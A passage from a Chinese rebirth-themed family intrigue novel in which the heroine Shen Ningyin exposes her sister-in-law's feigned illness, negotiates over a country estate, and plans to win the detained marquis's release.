“都是婉儿的不是。”周婉一边落泪，一边抓着老夫人的裙摆，她压低了眉尖懊悔道：“妾身身子弱，定是香柚自作主张去的祁秀院。”
“二弟妹心中有气，心中怨我，也是应该的。”
周婉眼圈红红，哭得梨花带雨，那浑然天成的纤纤弱质，就算在沈宁音看来，都不得不佩服，这嫂嫂连哭都哭得完美万端。
她此刻的声泪俱下，自己但凡责备她半分，怕是就要被秦耀阳、被长辈们记一笔，得不偿失。
所以没等周婉开口，沈宁音上前就握住了她的手，面露心疼道：“嫂嫂说哪里话？我知嫂嫂柔婉，又得母亲与祖母教养，断不会吩咐那么没体统的事。”她拍了拍周婉的手背：“我怎会怪嫂嫂？快起来，地上凉。”
她一扶，周婉便也轻飘飘地站起身，一下便挽住了老夫人的胳膊，亲昵地靠在长辈身旁。正眼也没觑她。
沈宁音手指在空气里顿了顿，微微眯起美眸。
周婉是演，却唯独不屑演给她沈宁音看。
这等境况若换一个人来，要么，不想揭过也得揭过。要么，大闹一场，彻底撕破脸面。
周婉大约以为她会忍，可周婉不知，沈宁音前世在冷家的处境只会更差，周婉这点小动作根本难不住她。
“说起来。”沈宁音笑着叹了口气，待老夫人抬头，她继续道：“那起子刁奴今儿敢背着主子做些悖逆主子名声的事，明儿怕是就敢不听命令胡乱惹事。留着就是个祸害。”
周婉听着这句，抓着老夫人袖子的手指陡然一紧，心里隐约有种不妙的预感。
果然，沈宁音看向她，和善又温柔地开口：“既是仆婢们不堪用，不如发卖了出去，再寻些合用的。”
周婉眼底闪过一抹不易察觉的惊慌。旁边的老夫人也微微皱起了眉。她正想说什么，沈宁音已看向了秦耀阳：“夫君，你觉得呢？”
秦耀阳一愣，旋即点头：“好。正该如此！”
香柚是秦耀阳处置的，若论错处，秦家金尊玉贵的世子爷又岂会有错？他都点头了，沈宁音的提议便也不能算作私心。
老夫人与闵氏都是做主母的，知道该偏向谁，尽都没开腔。
“不行！”周婉终究忍不住发了一声喊。
一个呼吸后，她才意识到自己的失态，周婉单薄的身子一颤，连忙放软了声音咳嗽着。
沈宁音关切地上前：“嫂嫂，怎么样了？”
周婉心里怄死了，兰心居里的丫鬟仆婢众多，每一个都是她苦心孤诣使唤惯了的身边人。折损一个都能叫她肉疼。
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“二弟妹，不用了。这些人我使唤惯了，若发卖出去，一时半刻又哪里能找到合适的人伺候？”
“等我将养好，定能好生管教她们。”
周婉意有所指，眸光看向沈宁音：“二弟妹刚嫁过来，祁秀院的事儿也得劳你打理，至于兰心居，我看还是……”
“嫂嫂别这么客气。”沈宁音就似没听出来她话里的意思，只笑得温婉和气，打断了周婉的话道：“大家都是一家人，又住在一处，自该守望相助。”
她又看向秦耀阳：“夫君，不如从祁秀院挑几个仆婢送过来给婉嫂子使唤可好？”
“仆婢们不得用可不是什么小事儿。”
秦耀阳一心为着周婉好，这会儿倒也没觉得沈宁音说的有岔，点头道：“好。”
周婉胸臆中一口气闷在那里，提不起来又咽不下去，脸就更白了。
秦耀阳看着她的脸色，只以为周婉这是病症发作了，忙关切询问。
周婉一个字都说不出来。
老夫人深看了眼沈宁音，开口：“也不必如此，你那祁秀院刚打理起来，短了人手可不行。”
“就从我那屋派几个人来兰心居看着些，至于这儿的仆婢们，该打板子的打板子，该罚的罚了也就是了。”
周婉松了口气，沈宁音看过来的时候，就瞧见周婉眼神里未来得及散干净的得意。
沈宁音也不恼，垂眸福身，态度恭敬：“是。”
估摸着时间，柳郎中也该来了。
果然，下一刻，外头就传来脚步声。
有小丫鬟打了帘子，荷花屏风后便有人禀告：“二爷，二少夫人，郎中来了。”
“哪个郎中？”开口的是老夫人。
小丫鬟道：“回老夫人，郎中姓柳。”
周婉很是淡定，拉着老夫人的袖子：“祖母，婉儿要请唐郎中来看。”又瞥了眼垂着眸子的沈宁音，道：“咱们侯府惯用的郎中，自然比外头不知底细的，医术要值得信奈得多。”
老夫人闻言，笑着点点头：“正是如此。”
沈宁音还没说话，倒是秦耀阳急了：“婉……嫂嫂，你先让郎中看看，那位柳郎中……”
“好了。”老夫人道：“婉儿不愿意也就算了。把诊金给他，打发回去就是。”
“可是……”秦耀阳是真的着急，周婉此刻的脸色很差，原本丰润小巧的樱唇此刻毫无血色。
这时，屏风那头传来了笑声。
众人都是一愣，老夫人的脸色也阴沉了下去：“何人如此放肆？”
“老封君，您是忘了下官么？”
听着这个声音，老夫人思索了两个呼吸，忽然想了起来：“柳太医？”
“正是。”柳郎中垂垂老矣，可身如松柏，中气也足，声音极有特点。
“快，快请。”老夫人立马换了个神色，脸上也染上了欢喜。
作为昌平侯府从前的主母，老夫人自然认得这位早前最负盛名的太医院判。
沈宁音亲自绕过屏风，将柳郎中引了进来。
抬眸只睃了一眼，便看见周婉的脸色，更白了。
6. 落定
老夫人年轻时曾有幸目睹柳太医的顶尖医术。此刻再见，又添了几分亲近，自不会再阻拦。
只是这样一来，周婉的神色再无法淡定。
沈宁音好笑地瞧着周婉，强撑镇定，可她放上脉案的手却紧绷微颤。
“婉儿，你怎么了？”秦耀阳一直关注着她，此刻很敏锐地发现了周婉的异样。
柳郎中的目光也落在了周婉苍白的巴掌脸上。
周婉抬眸，她有着一双猫儿眼，本该是灵动活泼的，可这眼睛偏在她的脸上润湿出了一抹惹人怜的无辜感来。她看着秦耀阳，微抿唇瓣：“我没事……”
秦耀阳心疼坏了，下意识往前凑。
可下一瞬，柳郎中伸手就把脉枕抽走，还深深看了周婉一眼。
柳郎中半句话没说，旋身而走。
除了早已心有猜测的沈宁音，在场所有人都被这突如其来的情况搞得怔愣住。
“柳太医？”老夫人唤了声。
柳郎中头也没回，已然绕出了屏风。
闵氏气红了脸。而秦耀阳则一脸询问地看向沈宁音。
沈宁音也没管秦耀阳，冲老夫人福身一礼：“祖母，孙媳去送送柳郎中。”
老夫人这等城府深疑心重的。就得让她自个儿思量，自个儿去问，方觉得认同。
沈宁音清楚，自己一个刚入府的新妇，多说多错，不如顺势躲开。
她脚步刚迈过门槛，身后便隐约传来闵氏气愤的声音。
“这什么太医？都告老还乡了，还这般摆谱，简直太不把咱们侯府放在眼里，如今一个个都敢欺到咱们头上来了！”屋内，闵氏气得撕帕子。
老夫人从思索中回神，沉着脸瞥了闵氏一眼：“你闭嘴！”
闵氏被斥得一怔：“婆母！”愤怒的声音化作了委屈。
她走到一旁拉着周婉的手：“婆母，你看呐，婉儿的手好冰，脸色这么差，可怜见的。那柳太医诊都没诊，就这么走了，保不齐是人老了，浪得虚名罢了。”
闵氏不喜沈宁音，连带着她请来的人也不待见。
老夫人又瞪了闵氏一眼。才朝着周婉看过去，周婉低着头，黑发的阴影遮住了神色。
但依旧能看清她下巴上的一截皮肤，细腻、苍白。
“柳太医的医术，我很清楚。”老夫人声音沉了下去：“婉儿，你可有什么想说的？”
周婉袖中的指节轻颤，楚楚地抬起头来：“祖母？”
老夫人见周婉不开口，便阖上了眼，这次，她神色里甚至带了些失望。
闵氏这会儿也意识到不对了，只有秦耀阳还满脸疑惑，站到床前维护周婉道：“祖母，您这是何意？婉儿病着，她能说个什么？”
秦耀阳话音刚落，出去的沈宁音就回来了。
老夫人睁开眼睛严肃地朝她招了招手：“如何？”
沈宁音上前两步站定，神色里有些为难。
闵氏见她欲言又止，皱眉催促：“有什么就快说，扭扭捏捏成什么样子？”
沈宁音深吸一口气，道：“祖母不必担心，柳郎中说……嫂嫂没有大碍。”
的确是好事，可放在当下却是让气氛更僵了几分。
“你可有听错？”秦耀阳瞠大了眸子，瞳孔地震。
沈宁音摇摇头：“没有，将才是方嬷嬷与我一同去送的。”
众人一时都沉默了。
方嬷嬷是老夫人松鹤堂里伺候的老嬷嬷，对老夫人绝对的忠心耿耿，此刻就站在屏风旁边。
老夫人望过去时，方嬷嬷点了点头。
倏地，老夫人站了起来。闵氏连忙扶住了。
一旁的周婉整个人都颤了颤。
“你真是长本事了！”老夫人咬牙：“装病？”
周婉此刻哪里还敢躺着，慌忙掀开锦被跪在了地上。
沉闷的跪地声，听着都疼。
同样是那单薄的衣裳，同样是含泪的眼睛，周婉期期艾艾地膝行几步抓住了老夫人的比甲：“祖母！我不是！”
沈宁音冷眼旁观，只看见周婉想要故技重施。
周婉哭着道：“是香柚她们误会了，我晕过去，她们便以为很严重……”
与先前不同的是，老夫人、夫人，还有秦耀阳皆是不为所动。
“既如此！方才你为何不说？”老夫人更加失望，再没有了睁一只眼闭一只眼的纵容，她用力抽回衣角。
“你如今是有主意的人了，哪里还用得着我疼你？”
“来人。”老夫人高声道：“把这兰心居的奴才们都绑了，那些个不安分的，统统都打发了！有不足数的，从我屋里出。”
话罢，老夫人抬腿就走。
“祖母！”周婉哭出声来。
这时，先前替着她告状的小丫鬟离得最近，霎时就被婆子按住了。
小丫鬟吓得肝胆俱裂：“大少夫人！大少夫人救奴婢！”
周婉还想追出去求情，可没走两步，迎面就被拦住了。
周婉抬起头，目光正撞入了沈宁音的眼。
“嫂嫂。”
听着沈宁音温软的嗓音，周婉一口银牙几乎咬碎，她声音因愤怒而轻颤：“你让开！”
沈宁音是个听劝的，果真让开了一条道。
就在周婉抬腿往外走时，沈宁音的脚尖一勾，正正勾在她的脚踝处。
周婉惊呼一声，跌在了地上。
她撑起身子时，沈宁音已然弯下腰，纤细的手指就按在她的肩膀。
“嫂嫂，你身子弱，便多养养。何必伤了和气呢？”
沈宁音一把子嗓音温温柔柔地，周婉抬头时，正对着她带笑的眼睛。
“你！你是故意的！”周婉咬牙切齿，眼里哪还有半分先前的不屑，愤怒取代淡定，染满了一张苍白的美人脸。
把那一股子完美无瑕扯碎得愈显扭曲。
沈宁音手腕一转握住了周婉的胳膊，有些人硬要打上门来找事，得了收拾，却一副受了欺负的表情。
偏偏，男人们俗不可耐，就吃她这一套。沈宁音偏不要她们称心如意。勾着唇，手腕收紧，答得干脆：“是啊。”
沈宁音用只有两个人能听见的声音道：“你要知道，咱们这样的人家发卖的下人，尤其那些个水灵的，旁的富贵家族谁还敢要？她们最终会去哪里？”
周婉脸色肉眼可见地灰败，嘴唇颤抖着。
除了勾栏瓦舍还能去哪？
便是不死，也是生不如死，人
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尽可夫。
“贱人！”周婉眼睛通红，用力一推。
沈宁音惊叫一声往后倒去。
秦耀阳跑进来就看见了这一幕，他身子前扑，险之又险地扶住了沈宁音。
“婉儿！”
周婉脸上尽是失控，直到在秦耀阳脸上看出震惊又失望的表情，她这才如梦方醒。
秦耀阳的眼睛里映出她模糊的影子，周婉抬手抹了一把脸上的泪，疯疯癫癫的样子让她自己都觉得陌生。
沈宁音靠在秦耀阳怀里，语调是恰到好处的惊慌：“夫君，你别怪嫂嫂，是我不好，许是哪里惹了她不悦。”
周婉顾不得沈宁音，慌忙喊：“耀阳……”
秦耀阳扶着沈宁音往外走：“你先歇着吧。”他顿了顿：“我改日再来看你。”
门，关上了。
烛火在夜色里摇曳，灯花偶有噼啪，周婉却好似陷入了死寂的世界般，跌坐在地上。
“沈氏！你给我等着！”
祁秀院。
闹哄哄的幺蛾子过去，夜已经很深。
沈宁音躺在床上，周身的疲倦犹如潮水般淹没了她。沈宁音沾着枕头就睡熟了。
也不知过了多久，她睁开眼睛时猛地发现床帐外已经天光大亮。
沈宁音心下一惊，连忙掀开了帐子。
染竹端着洗漱的铜盆就进来了：“少夫人。”
沈宁音听得一愣，这才反应过来，自己已是秦家妇。
她一面洗漱，一面不动声色问：“世子爷呢？”
估摸着时辰，怕是已经巳时过后了。
前世时，沈宁音在冷家，几十年如一日，都是不到辰时就去立规矩的，风雨无阻。
冷家那位太太偏心得紧，没少磋磨沈宁音。而这一世，闵氏同样不喜欢她。沈宁音既然打定主意要这贤名，便不可能给闵氏任何借口来指摘自己。
“姑爷一早就出去了。”染竹知道沈宁音的意思，便小声道：“老夫人发了话，今儿侯爷进宫去了，您手也伤着，就不必着急敬茶了。”
梳妆完毕，兰香正好从外头回来，沈宁音便问起兰心居。
兰香闻言，脸上露出一副古怪的神色来。
沈宁音秀眉微轩：“怎么？她还不肯安分？”
兰香走近了些，压低声音道：“大少夫人倒是没做什么。可一大早，老夫人便将大部分仆婢送回了兰心居。”
沈宁音眉头蹙紧，示意她接着说。
兰香道：“奴婢也不清楚，今儿宫里来了位姑姑，奴婢瞧着应地位应该不低。”
宫里来的？
沈宁音心里疑窦丛生，回想昨夜，她并无什么纰漏，可即便是将能做的都做了，却依旧没能伤到周婉的根本。
兰香看出她的心绪，叹了口气：“少夫人，您别太难过，大少夫人这般下作，迟早会失了姑爷的心。她争不过您去。”
沈宁音一愣，忽然勾唇浅笑。
她哪里是拈酸吃醋的样子？秦耀阳喜欢谁也不妨事，只要别舞到她跟前来碍眼作死就好。
“罢了，由她去。”
这时，门外响起厚重的脚步声。
方嬷嬷从撩起的帘子一步踏入：“二少夫人，出事了！”
7. 做赌
染竹吃了一惊，转眸看向沈宁音，却见她神色清冷，半点不见慌乱，姿态矜贵婉然：“莫急，嬷嬷慢些说。”瞧着便叫人心安。
沈宁音前世久居姑苏，冷元景是个不安分的，她素日要盯着这个妾室、防着那个雀儿，一不留神就要地位不保，自没有闲心去打听她那骄纵妹妹的侯门家事。
沈宁音应对昌平侯府也并非全然靠着记忆。
方嬷嬷是松鹤堂的老嬷嬷，老夫人吩咐她来，必定憋着什么目的。她猜测，一多半是有求于自己。
沈宁音有心试探，掏了两只金葫芦出去，路上旁敲侧击的，想打听点什么。可惜方嬷嬷除了外头能说的消息，旁的就闭口不谈、油盐不进。
到了松鹤堂。
沈宁音绕过屏风走进去。
屋子里燃着上好的沉水香，馥郁、沉静，袅袅而上。可再好的熏香都遮掩不了众人眉间焦灼。
“见过祖母、母亲。”沈宁音福身拜见。
“你怎么才来！”闵氏是个沉不住气的，一看见沈宁音就噌地站了起来，目光里的急切与怒意像是要从眼睛里头钻出来似的。
“咳！”老夫人咳嗽了一声，闵氏愠怒的脸扭曲了一下，到底是坐了回去。
老夫人脸色有些憔悴，苍老的嘴角扯出一丝弧度：“宁音，先过来坐。”
沈宁音走到老夫人手边坐了，并未绕弯子，直言问：“可是公爹在宫里遇着什么事儿？”
闵氏震惊之余，红了眼眶，抬手抹泪。算是默认。
老夫人叹了口气：“是，你聪慧，想来已经猜着了。”
沈宁音点点头。
此番皇城司闹了昌平侯府的婚礼。再加上那位副使嚣张跋扈，没给半分面子，更没给半句交代，侯府是断断不能忍了这窝囊气的。
可今生虽然事儿没闹大，周婉也没受伤。但皇城司调查的案子恰恰是谋逆，圣人当年遭北夷掳劫，牵羊受辱，性情大变，最是疑心重。
昌平侯显然在气头上，若说错两三句话……
沈宁音捏了捏帕子，淡定道：“祖母莫急，此事须从长计议。”
“从长计议，什么从长计议？”闵氏眼珠子都红了，哭道：“你公爹都给扣在宫里了，若不是元妃娘娘暗地里送出来消息，只怕侯爷他出事，咱们都还不知道……你到底只是个小户的出身……”
老夫人皱眉：“什么小户出身？都是些没根的消息！你胡说什么？”
闵氏得了训斥，便住了嘴，呜呜咽咽哭起来。
侯府九代单传，世子秦耀阳又是个不扛事儿的，昌平侯府满门的荣耀都系于侯爷一身。
他若出个什么事，侯府的天就得塌了大半。
闵氏会着急，很正常。只是她后来说起沈宁音的出身，倒很难不惹她在意。
沈宁音袖子里的手指轻捏了捏袖口。
“你快别哭了，没得把好好的爷们儿给哭晦气。”老夫人斥了一句，转头对上了沈宁音，语气放缓：“宁音，你婆母是着急了，莫要放心上。只是如今你嫁过来，便是一家人了，宫里的事儿，你可有什么法子？”
沈宁音知道，老夫人已经有了主意，不然也不会单问到自己头上。
是试探，也是考校。
很显然，自己假千金的身份走漏了风声，还传到了昌平侯府里头。
老夫人看似呵斥了闵氏，可又何尝不是想试探沈宁音在侍郎府的分量？
家族联姻，利益为先，旁的倒是要放一放。
沈宁音脑海里念头纷纷闪过，又突然想起前世。那时她随冷元景入京，接触过不少显贵夫人，曾听人提起——宫里那位圣眷正浓的元妃娘娘，母家好像姓周！
“宁音？”老夫人的喊声将沈宁音的思绪唤回。
“是，祖母，孙媳的确有个法子。”沈宁音下定了决心。
“哦？”老夫人的视线在她脸上凝着，苍老的眼瞳仿佛能看透人心。
沈宁音神色真诚严肃：“祖母且宽心，我马上修书一封给家父，请他从中斡旋。”
“咱们家与皇城司的事儿不过是误会。圣人怒对公爹，也将那皇城司副使下了诏狱。”
沈宁音娓娓分析：“眼下，不过是那副使不肯低头，若父亲能将他放出诏狱、有了台阶，公爹回来也就容易了。”
老夫人先是一愣，旋即面露喜色：“当真能办？”她从前想着沈家辅佐过伪圣，作用有限，却没料到沈定山还能影响到诏狱？
侍郎是正二品的差使，可沈定山能待在这个位子，是靠着出卖伪圣的人血馒头，如今的圣人不信他，外人又不齿他不忠不义。乃至现在还得他昌平侯府来帮衬。
而诏狱，皇城司所辖范围，上头勾连着权倾朝野的权宦，宗亲。
沈家能动这儿，怎么看都绝无可能。
“能的！”沈宁音却语气笃定。
闵氏攥紧帕子，有一瞬间的希冀。可她很快又理智回笼。人从希望到失望的过程，除了悲伤，只会让愤怒更甚。
闵氏咬着牙怒视沈宁音：“编！你就继续编！这等要命的事情，你骗着咱们好玩儿么！”
老夫人皱眉：“说什么呢？”
空气又安静了两三个呼
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吸。沈宁音当先开了口，照旧是温温软软的语气：“母亲，我知晓轻重，是不是诓人试试便知。儿媳一心只盼着公爹好。”
闵氏冷笑：“这满屋子上下，谁不盼着侯爷好？可你也莫说这种不着边界的话。”
“若我当真做到呢？”沈宁音心下轻讽。
闵氏指着她的鼻子道：“倘若你真能救出你公爹来，这侯府中馈，也就给你了！”
侯府中馈盘根错节，那么多环节那么多人，早就已经有层层的利益牵扯。这不是闵氏给了对牌就能定的事儿。
就算拿到了对牌、钥匙、账册，只要核心人事还掌控在老夫人与闵氏手里头，那些个令牌、文书，都是无用的废品罢了。
沈宁音虽也能靠着手段一路收拾，但终究要耗费太多时间与资源。她又不傻。
沈宁音脸上露出十足的谦卑，敛眸：“儿媳阅历尚浅，当不得掌家之事。”
闵氏听着她推脱之言，冷哼。正欲训斥些什么。
沈宁音知道不会有什么好话，抬眸看着满头珠翠的闵氏，肃然道：“倘使儿媳侥幸办成，倒想跟母亲讨一样奖赏。”
闵氏愣住，没料到她竟像是认真的。闵氏内心隐约有些不安：“你想讨什么？”
“母亲可否把京郊河边山上那桃花庄子给我？”
京郊山上那庄子沈宁音印象深刻。
庄子上建筑绵延极广，雕梁画栋。庄内自带一眼温泉，气候冬暖夏凉，游客更是络绎不绝。传闻，山上曾有白狐出没，昭示着天下安稳康泰。
那儿曾是先皇避暑之地，伪圣临朝时，也曾偏爱非常。
她之所以记得这般清楚，只因其后来几度易手，桃花山庄的最后一个主人，便是冷元景初入上京时查抄的大太监薛岩。
薛岩被处以极刑之前，痛失爱子、彻底疯癫，上京血雨腥风，几乎半个朝堂都被他赶尽杀绝，只为了给他那干儿子陪葬！
有人说，那干儿子，就是薛岩净身前的私生子。
“不行！”闵氏想也不想就拒绝了。
沈宁音回过神，也不恼。
她早知闵氏不可能给，这庄子花费甚多，闵氏怕是把这些年从侯府里刮下的油水都喂了进去。
“一个庄子而已，给宁丫头又何妨？”老夫人并不知那庄子贵重，只切切地握住沈宁音的手：“我的儿，你尽管去做，回头我就让你母亲把庄子地契给你送去。”
“婆母！”闵氏急得眼睛都要红了。
沈宁音看着闵氏吞了苍蝇一样的表情，克制住想要上翘的唇角，点点头：“都听祖母的。”
8. 旧友
沈宁音掀帘子走出去，闵氏的声音从身后蓝棉布厚帘子的缝隙隐约传出来。
“母亲，这庄子，真的不行！”
屋内，老夫人揉着太阳穴，手里的佛珠轻盘，皱紧眉心不耐道：“行了，什么事能有你夫君要紧？”
闵氏一噎，心都要凉了。
桃花庄子的事儿她瞒得仔细，连老夫人都瞒着。也不知沈宁音从哪儿听来的。
这会儿若叫婆母知道那庄子的情况，说不得她这些年苦心经营的贤惠持家的名声就要毁了。
老夫人不欲多说，只道：“你从府库里支些银子、再拿几样压箱底的首饰头面备着，倘若那沈定山当真能支使得动皇城司。那你儿媳妇回门的时候可得弄得风风光光的，莫叫人家觉着咱们侯府小家子气。”
“是。”闵氏应声，神色蔫蔫的，很不情愿。
老夫人瞥了她一眼：“闵柔，一个庄子而已。侍郎府若做到，那便是天大的好事，你莫不是盼着侯爷回不来？”
闵氏攥着帕子的手一颤，勉强扯了个笑：“儿媳哪儿能？”她自然盼着昌平侯回来，就是因为盼着，所以才肉疼那庄子。
“母亲，只是那沈二娘……听说不是侍郎府的正经小姐，是外头抱来的……”闵氏只剩秦耀阳这独苗，越想越膈应，都要怄死了。
老夫人眉头皱紧：“是与不是，那都是外头的传言！没有实证，当不得真！”
“空穴来风。”闵氏上前两步，压低了声音：“未必是假……”
老夫人一时间无语了，直接吩咐左右送客。
闵氏还想说什么，老夫人已经闭上了眼睛，不想再听。
方嬷嬷送完人进来，看老夫人的眉头还皱着，便拿过小丫鬟手里的美人捶，亲自坐在罗汉床旁一下复一下地替老夫人捶腿。
“老太君，你莫生气，夫人也是担心世子爷的岳家是否牢靠。”
“呵——”老夫人冷哼了一声，缓缓张开眸子：“她就是眼皮子浅，舍不得罢了，我是老了，却不是瞎了。”
“哎……”老夫人放下手里的佛珠，看向窗外：“若不是当初我儿早早就成婚，封侯之后什么样的女娘求娶不得？怎么就娶了一个武夫之女。撑不起门楣。”
“原以为给湛儿娶了周氏女便能安稳许多，可偏偏我那湛儿……”
老夫人想起已故大孙，只觉鼻间酸楚，浑浊的眼泪止也止不住。
正哭着，门外忽听得铃铛叮咚，有丫鬟惊慌的声音传来：“小主子，莫跑！”
“你滚开！我要见祖奶奶！”奶声里头透露着跋扈烦躁。
方嬷嬷脸色大变。
老夫人的表情也冷沉了下去，狠狠看了方嬷嬷一眼。
方嬷嬷打了帘，正要出去，外头一个奶团子已经风一般冲了进来，拐角处的缠枝白玉瓷瓶被撞得一歪，眼瞅着就要砸地上。
方嬷嬷没拦着人，赶紧将瓷瓶给扶住。
那边厢，小男孩已经扑进了老夫人怀里，圆圆的脸蛋上两只大眼睛忽闪忽闪地，表情孺慕：“祖奶奶！”
屏风后伺候的几个婆子丫鬟已经吓坏了，统统跪在地上哆嗦着不敢言语。
方嬷嬷上前两步，脸色苍白：“齐哥儿，要叫老太君……”
“我不！”秦齐狠狠盯着方嬷嬷：“本来就是我的祖奶奶！”
老夫人呼吸一滞，也不好发火，只笑着将孩子抱在怀里：“你不在奶娘处玩，怎的跑出来了？”
小男孩瘪着嘴，满脸控诉：“祖奶奶，她们都是坏人，你快打死她们！”
老夫人慈爱地笑：“好，祖奶奶回头就打死了她们去。不过，齐哥儿现在要先回东厢去……”
秦齐嘴一扁就哭闹了起来：“不嘛！我不要回去！我想娘亲、想祖奶奶了！呜呜呜！”
“听话。”老夫人又哄了两句，皱眉看向方嬷嬷。
很快的，方嬷嬷领着奶娘来哄孩子，秦齐又闹了好一会儿，在奶娘脸上抓出了两道血痕，这才被人抱离了屋子。
秦齐还不消停，远远儿地都能听着他惊抓抓的哭声。
老夫人只觉太阳穴突突地疼：“你们怎么看的人？！不是告诫过你们要把人藏好？如今新妇刚进门，若是被人发现了这冤孽，以后要捅破多大片天去？”
“老太君息怒。”方嬷嬷等人都是满脸惶恐地跪到地上。
可真要论起来，众人也无奈，秦齐的身份太过敏感。许多人只知他得宠，却只有极少数才知他为何得宠。
“罢了，多找几个人盯着！这么多年都等了，几天都等不得了？”
老夫人冷飕飕的话也不知是说与谁人听。
方嬷嬷一面擦着冷汗一面领着人下去办事不提。
和风习习，天空干净湛蓝，冷热皆宜。
沈宁音写完信，仔细用火漆封了。
信拢共两封。
一封依着章程送去给娘家侍郎府，而另一封，沈宁音思来想去，还是交给了染竹。
“是青衣胡同陈家，莫送错了。”沈宁音叮嘱。
染竹点点头，笑道：“错不了，少夫人可还有什么话带给陈五小姐？”
沈宁音一愣，恍然记起来，自己这会儿与陈家五姑娘关系还极好。脑海里就闪过了陈青霜的脸，沈宁音一时有种说不出来的感觉。
陈大人是沈定山外放时认识的同侪，所以两家有些来往，再加上后来陈父也入了京，虽只是五品官，但沈宁音每每出席宴会也对陈家人多有照拂。
陈青霜与她年纪相仿，性子又软，前世就最得沈宁音喜欢。
沈宁音原以为她窝囊、可怜。衣裳首饰，外头难得的吃食、书册，沈宁音从不吝啬，变着法儿地给她送去。只盼着她在家里能好过些。
陈青霜一开始诚惶诚恐说着感激的话，可她的感激最不值钱。后来也就习惯了。
家里人的打压作践，她逆来顺受，却对帮她的人重拳出击，这种人谁沾谁倒霉，烂泥扶不上墙。
算算时日，前世的现在，沈宁音定了嫁去冷家，得知风声的陈家人就不让陈青霜与自己来往了。
可今生，沈宁音高嫁昌平侯府，陈家肯定巴不得叫女儿贴上来。
沈宁音皱了皱眉。淡淡开口道：“不是给陈五姑娘的，是给陈大人。”
“染竹你亲自交到陈大人手里，莫给了别人。”
染竹见她表情认真，猜那陈五姑娘大约是哪儿讨了自家主子的嫌，便也收了笑，恭恭敬敬退出去：“是。”
陈家捧高踩低，对前世远嫁姑苏的沈宁音来说什么都不是。而现在，她是侍郎府高高在上的小姐，是昌平侯少夫人，陈家算是资源人脉，不用白不用。
既然要做人情，那便不能通过侍郎府，沈宁音要把这些都拿捏在自个儿手里。
傍晚，红彤彤的火云烧在天边。
天井里的花园染上了一层轻盈的暖色，有清脆的虫鸣自花草阴影中逸出。
秦耀阳刚过回廊，一抬眼就瞧见了等在二门前的女娘。
暖红色的光晕洒落在女子的云鬓、襦裙，把袅娜的轮廓勾勒出一丝温婉的宝像，端庄不可亵渎。
秦耀阳不由得放慢了脚步，走到近处，他看见女子款款迎上来：“夫君。”
声音仿似比昨日更添了柔婉动听。
“恩。”秦耀阳背在身后的手捏了捏，喉咙有些发干。他清了清嗓子：“有事？”
沈宁音笑着摇摇头：“今儿是听说夫君一早就去了宫里，妾身炖了燕窝，还温着，夫君可要去祁秀院用些？”
秦耀阳有些意外，一时站在原地没动。
沈宁音却也不着急，只在旁边儿等着他答应。
前世，沈弦思骄纵，稍有不快就爱写信回家诉说，沈宁音后来也听了些风言风语，知道每次秦耀阳遇到不好的事儿就喜欢去小书房。
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那小书房僻静，紧挨着兰心居。沈宁音觉着可能没那么简单。
昨日没能让周婉伤筋动骨，她又有那位元妃娘娘做靠山，若是再叫秦耀阳见了她，那可真要白折腾一场。
正所谓见面三分情，他俩本就有首尾，沈宁音是断断不能再放秦耀阳见周婉的。
至少，回门之前不可以。
良久，沈宁音终于听着秦耀阳低低地“嗯”了一声。
两人并肩走回了祁秀院。
当夜，秦耀阳照旧是宿下了。
沈宁音第二日起床梳洗时，就听着染竹绘声绘色说着兰心居那边儿的动静，说是周婉摔了好些个碗盏青瓷，库房里的婆子紧赶着给送了一整套去。
听到这儿，沈宁音插步摇的手顿了顿，不禁想起沈弦思来，骄纵如她，也爱极了砸东西。
周婉平日里所有的伪装，原也会在背后的细节处无所遁形。
前世，同样骄纵的两个女人，秦耀阳没爱过沈弦思一刻，却爱了周婉一辈子，这女人还是有本事的，至少她能装得长长久久。
可若是，她装不下去呢？
……
“少夫人，信。”兰香出去再回来时，手里多了一封信。
沈宁音捏在手里就嗅到了浅淡的香草味。
这味道她熟，是上京城女眷们爱用的纸笺，拿香草煨过的汁水熏染，香气中带着淡淡的甜。
沈宁音皱紧了眉头，目光落在了兰香脸上。
兰香脸上的尴尬掩饰不住，立马跪在地上：“少夫人，不关奴婢的事。”
“奴婢真的是将信交到了陈大人的手里，只是……”
沈宁音将信抽出来，一面看一面问：“只是什么？”她声线偏温软，可一旦压抑低冷下来，自有一股子前世掌家夫人的不怒自威。
兰香听得汗流浃背，慌忙解释：“只是那陈五姑娘当时也在场。”
沈宁音沉默下来，信笺上除了寒暄，还约了她去碎月楼小聚。
依着陈青霜的性子，主动邀约，几乎不可能。想来是那陈大人的意思。
沈宁音卖了陈大人一个大人情，知会了一个重要乱党的下落。这是前世得知的情报。她要用这个，换那位皇城司副使出诏狱。
若说陈大人一个五品官就能决定一个诏狱囚犯的赦免，那倒是抬举他了。但副使身上的罪名便是捉拿钦犯不利，并非什么冒犯侯府。
这线索，无妨抓不抓得到，于皇城司都是大功劳。再加上那位能做到副使位置，背后必定有后台。陈大人是个会钻营的，沈宁音相信他一定能找得到门路递上去。
里子有了，再有沈定山出面做个面子，圣人有了台阶，副使放了，昌平侯自然能回得来。
沈宁音唯独没想到陈大人会叫陈青霜来邀约自己。她有心推了，但想着如今要陈大人办事，若这次推拒，怕不是要叫他心中不安，办事也难免不上心。
伸手揉了揉太阳穴，沈宁音凝眉吩咐：“罢了，你先下去备马车。”
碎月楼极雅致，茶点也出色，素日里沈宁音在上京做姑娘的时候常来。倒也并非喜欢，只因贵女们喜欢在这儿开些个茶会诗会的。
巳时已经不早，初秋的阳光还有些热，沈宁音挽着绿色批帛，粉裙翠衫，云鬓花钿，她这样的模样气质，便是没有浓妆着锦，也是顾盼风流，宝华月辉。
与从前闺阁中，是大不相同了。
再次踏足碎月楼，沈宁音看那红柱绿瓦，是真真隔世的。
那些熟稔打着招呼的伙计大约不明白，前阵子才见过的侍郎小姐，此刻缘何看着他们的表情会如此陌生又古怪。
随着雅间门被推开，金色的阳光从宽大的窗户里流泻进来，透过屏风，明亮得晃眼。
沈宁音略微熟悉了光亮，就看见了屏风后似乎是两个身影。
约莫听着了动静，两人都站了起来。
一高一矮。
9. 窝囊
沈宁音看着屏风后的人影，站在门口，没往里进。
“沈二姐姐。”陈青霜从屏风后绕出来，怯生生地喊了一句。
她今日穿着粉白色比甲，十五岁的年纪，花朵儿一般脆生生的水嫩，陈青霜每每忐忑不安的时候，一双乌黑的眸子里，就仿若萦绕着挥不开的水雾，充斥着随时都能掉泪的委屈感。
沈宁音看陈青霜站在原地，这一回，她并没有像前世每一次一样主动上前关切。
“那是谁？”沈宁音看向屏风后问。
